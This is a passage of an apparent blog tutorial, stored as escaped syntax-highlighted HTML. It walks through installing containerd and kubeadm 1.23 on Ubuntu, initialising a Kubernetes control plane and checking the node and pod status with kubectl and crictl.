#96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.10-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we'll setup a configuration that enables containerd to use the systemd\ncgroup.  We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can verify its running with ctr:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ectr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--address\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system.  I’m going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.23.4-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttp://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eamd64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e.  You can check that it is available to you doing this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e):$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-g\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I'll show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em16s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you recieve \"The connecto to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time.  So if you aren't able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e.  You'll need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running.  If it isn't you can check:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eATTEMPT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eseconds\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e344\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ec4f7fffbe8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e81\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea4a8a4ac639\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea819c3a864b2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: 